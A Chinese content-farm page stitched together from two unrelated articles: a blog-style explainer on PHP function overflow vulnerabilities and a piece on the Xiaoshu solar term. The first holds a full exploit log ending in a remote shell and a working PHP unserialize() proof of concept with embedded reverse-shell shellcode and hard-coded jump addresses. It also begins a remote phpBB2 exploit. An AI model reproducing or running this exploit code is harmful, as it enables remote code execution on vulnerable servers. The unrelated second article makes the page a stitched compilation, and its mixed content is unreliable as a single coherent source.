欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

科普下PHP函数溢出的东西(上)

时间:2022-08-03 08:10:24 其他范文 收藏本文 下载本文

下面小编为大家整理了科普下PHP函数溢出的东西(上),本文共2篇,欢迎阅读与借鉴!

科普下PHP函数溢出的东西(上)

篇1:科普下PHP函数溢出的东西(上)

大风起兮云飞扬

今天下午几乎所有群里都在讨论Stefan Esser抛出来的一个exp banner,

他将在明天的syscan大会上公布。

pastebin.com/mXGidCsd

$ ./exploit.py -h t.testsystem/

PHP xxx Remote Code Execution Exploit (TikiWiki Version)

Copyright (C) Stefan Esser/SektionEins GmbH

*** DO NOT DISTRIBUTE ***

[+] Connecting to determine wordsize

[+] Wordsize is 32 bit

[+] Connecting to determine PHP 5.2.x vs. PHP 5.3.x

[+] PHP version is 5.3.x

[+] Connecting to determine XXX version

[+] PHP version >= 5.3.2

[+] Determining endianess of system

[+] System is little endian

[+] Leaking address of std_object_handlers

[+] Found std_object_handlers address to be 0xb76e84a0

[+] Leaking std_object_handlers

[+] Retrieved std_object_handlers (0xb75b5c60, 0xb75b6230, 0xb75b2300, 0xb75b4c70, 0xb75b52f0, 0xb75b3fc0, 0xb75b42b0, 0xb75b4430, 0x00000000, 0x00000000, 0xb75b3c60, 0xb75b4a40, 0xb75b57a0, 0xb75b4170, 0xb75b27d0, 0xb75b4f00, 0x00000000, 0xb75b28a0, 0xb75b27a0, 0xb75b2af0, 0xb75b2830, 0xb75b46b0, 0x00000000, 0x00000000, 0xb75b2be0)

[+] Optimized to 0xb74008f0

[+] Scanning for executable header

[+] ELF header found at 0xb73ab000

[+] Retrieving and parsing ELF header

[+] Retrieving program headers

[+] Retrieving ELF string table

[+] Looking up ELF symbol: executor_globals

[+] Found executor_globals at 0xb76fe280

[+] Looking up ELF symbol: php_execute_script

[+] Found php_execute_script. at 0xb75386c0

[+] Looking up ELF symbol: zend_eval_string

[+] Found zend_eval_string at 0xb7586580

[+] Searching JMPBUF in executor_globals

[+] Found JMPBUF at 0xbfcc64b4

[+] Attempt to crack JMPBUF

[+] Determined stored EIP value 0xb753875a from pattern match

[+] Calculated XORER 0x68ab06ea

[+] Unmangled stored ESP is 0xbfcc5470

[+] Checking memory infront of JMPBUF for overwriting possibilities

[+] Found 0x28 at 0xbfcc6498 (0x3e4) using it as overwrite trampoline

[+] Returning into PHP... Spawning a shell at port 4444

...

$ nc t.testsystem 4444

Welcome to the PHPShell 5/22/2010 1:27 am

system(“uname -a”);

Linux fedora13x86 2.6.33.4-95.fc13.i686.PAE #1 SMP Thu May 13 05:38:26 UTC 2010 i686 i686 i386 GNU/Linux

system(“id”);

uid=48(apache) gid=484(apache) groups=484(apache) context=unconfined_u:system_r:httpd_t:s0

...

本来不好意思写这篇blog的,但是看到很多朋友吓得花容失色,以为又要出绝世0day了,所以科普一下。

其实PHP函数漏洞不是那么可怕。因为利用条件是苛刻的。它要求Web应用有使用到存在漏洞的函数,而且这个函数的输入能够被用户所控制。这样下来条件就比较多了。

其实还有其他条件,就是能够稳定利用,因为现代OS都是有很多防溢出的功能的,比如ASLR,DEP,NX等等,但是Stefan Esser 却能够很好的解决这个问题,他挖PHP挖的很深,稳定的利用“内存信息泄露”,来获取目标地址。

注意“内存信息泄露”不是“内存泄露”,后者只能让App挂掉,而“内存信息泄露”则是能够读出内存的地址,从而稳定的溢出利用。

所以,PHP漏洞 != Web Server漏洞

注意看我上面粗体标注的部分,说明这次这个漏洞,是在Tikiwiki中用到的一个函数,同时 Stefan Esser 还是利用了他一贯的内存地址信息泄露漏洞,来稳定利用这个漏洞。

同样的,PHP函数溢出也可以本地利用,可以用于绕过safemode。就是说,自己写个php文件丢到server上,request一次执行一下,触发漏洞利用函数,从而执行shellcode。 shellcode功能就很多了,执行任意命令、绑定端口、反连。

但是PHP是由Webserver执行的,所以也只有webserver权限。

因此,PHP函数漏洞,是需要找对应的Web App的,核心条件就是该函数的输入能够被用户控制。有经验的朋友,在明天过后可以开始去翻 googlecode 搜索了。

影响不大,绝世0day并没有出现。

这些都是tooooooold的东西了,两三年前Stefan Esser 就研究出来了并发在第一次 The Month of PHP Bugs 上,当年我还写了个phpbb的远程溢出exp,不过后来metasploit也写了,我也就一直没公开过这个exp,

我很久前就不搞溢出这些东西了,这次就贴在这里吧。可以看到comments里写的日期是3月份,3年多了,真是很old了,呵呵。

在此之前先贴个本地的POC,同一个漏洞

$shellcode =

“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.

“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.

“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.

“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.

“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.

“x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90”.

// win32_reverse - EXITFUNC=thread LHOST=127.0.0.1 LPORT=1154 Size=287 Encoder=None metasploit.com; 端口用1154是因为这是 LISA 的ascii写法,哈哈

“xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45”.

“x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49”.

“x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d”.

“x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66”.

“x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61”.

“xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40”.

“x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32”.

“x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6”.

“x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09”.

“xf5xadx57xffxd6x53x53x53x53x43x53x43x53xffxd0x68”.

“x7fx00x00x01x66x68x04x82x66x53x89xe1x95x68xecxf9”.

“xaax60x57xffxd6x6ax10x51x55xffxd0x66x6ax64x66x68”.

“x63x6dx6ax50x59x29xccx89xe7x6ax44x89xe2x31xc0xf3”.

“xaax95x89xfdxfex42x2dxfex42x2cx8dx7ax38xabxabxab”.

“x68x72xfexb3x16xffx75x28xffxd6x5bx57x52x51x51x51”.

“x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53xffxd6”.

“x6axffxffx37xffxd0x68xe7x79xc6x79xffx75x04xffxd6”.

“xffx77xfcxffxd0x68xefxcexe0x60x53xffxd6xffxd0”;

$hashtable = “xffx54x24x68x90”;

$hashtable .= str_repeat(“A”,34);

$hashtable[5*4+0]=chr(0x50);

$hashtable[5*4+1]=chr(0x20);

$hashtable[5*4+2]=chr(0x40);

$hashtable[5*4+3]=chr(0x00);

// php4.4.4 jmp ebx 0x00401820   ws2_32.dll 0x71b65fb0

$hashtable[8*4+0]=chr(0xb0);

$hashtable[8*4+1]=chr(0x5f);

$hashtable[8*4+2]=chr(0xb6);

$hashtable[8*4+3]=chr(0x71);

$str = a:100000:{s:8:“AAAABBBB”;a:3:{s:12:“0123456789AA”;a:1:{s:12:“AAAABBBBCCCC”;i:0;}s:12:“012345678AAA”;i:0;s:12:“012345678BAN”;i:0;};

for ($i=0; $i<65535; $i++) {

$str .= i:0;R:2;;

}

$payload = s:.strlen($shellcode).:“.$shellcode.”;;

$str .= s:39:“XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX”;s:39:“.$hashtable.”;i:0;R:3;.$payload;

unserialize($str);

?>

============================================================================

同一个漏洞的远程利用,因为PHPBB在程序里用到了,而且刚好能被用户远程触发!

/*

* PHP < 4.4.5 unserialize() ZVAL Reference remote exploits for PHPBB2 (Linux/x86)

*

* (不通用的版本)

* 编译方法(Linux): gcc -o xxx xxx.c -I/usr/kerberos/include -lssl -lcrypt -O3 -Wall -pipe

*

* 存在的问题:

*

*   shellcode 在堆区域,有一些老的发行版本的Linux一般在0x08100000以上,新版本的Linux 堆地址不容易确定

*   使用jmp edi方法,不需要暴力猜测地址,但是需要调试各种Linux版本,而且有些新版本的Linux 堆栈都不可执行,并且lib的地址都随机了。

*

*

* 希望各位大侠能改出通用一点的exp,这个年头连Linux 栈溢出都不好利用啦!

*

* 更新历史:

*  + 支持暴力猜测shellcode地址的模式

*  + 支持用jmp edi后并且用一小段shellcode搜索堆内的shellcode并执

篇2:小暑科普小知识,小暑大暑,上蒸下煮

二十四节气之小暑:小暑大暑,上蒸下煮

每年的公历7月7日或8日,太阳运行到黄经105度时为小暑节气。2017年的小暑节气在7月7日的05:50:38。

小暑虽不是一年中最炎热的季节,但紧接着就是一年中最热的季节大暑,民间有“小暑大暑,上蒸下煮”之说。

《月令七十二候集解》也有记载说:“六月节……暑,热也,就热之中分为大小,月初为小,月中为大,今则热气犹小也。”其中,暑表示炎热,小暑还不热,大暑才叫热。

小暑三候

中国古代将“五天”称为“一候”,所以一个节气又被称为“三候”。

每个节气的“三候”结合当时的气候特征,和一些特殊现象又分别起了名字,用来简洁明了的表示当时的天气等特点。

一候:温风至。指小暑日后,大地上便不再有一丝凉风,而是所有的风中都带着热浪。

二候:蟋蟀居宇。五日后,由于炎热,蟋蟀离开了田野,到庭院的墙角下以避暑热。

三候:鹰始鸷。再过五日,老鹰因地面气温太高,而在清凉的高空中活动。

小暑习俗

1、“晒伏”

“六月六”相传这是龙宫晒龙袍的日子。因为这一天,差不多是在小暑的前夕,为一年中气温最高,日照时间最长,阳光辐射最强的日子,所以家家户户多会不约而同的选择这一天“晒伏”,就是把存放在箱柜里的衣服晾到外面接受阳光的暴晒,以去潮,去湿,防霉防蛀。

2、撂“百索子”

民间说“六月六”百索子撂上屋。“相传传天上的牛郎星和织女星被银河分割在两岸,一年中只有”七月初七”这一天可以相会。但在他们中间却横阻着一条银河,又没有渡船,怎么办呢?所以六月六这一天,天下的儿童多要将端午节戴在手上的“百索子”撂上屋让喜鹊衔去,在银河上架起一座象彩虹一样美丽的桥,以便牛郎和织女相会。

3、吃饺子

头伏吃饺子是传统习俗,伏日人们食欲不振,往往比常日消瘦,俗谓之苦夏,而饺子在传统习俗里正是开胃解馋的食物,山东有的地方吃生黄瓜和煮鸡蛋来治苦夏,入伏的早晨吃鸡蛋,不吃别的食物。

《科普下PHP函数溢出的东西(上)(精选2篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

最新推荐
猜你喜欢
点击下载本文文档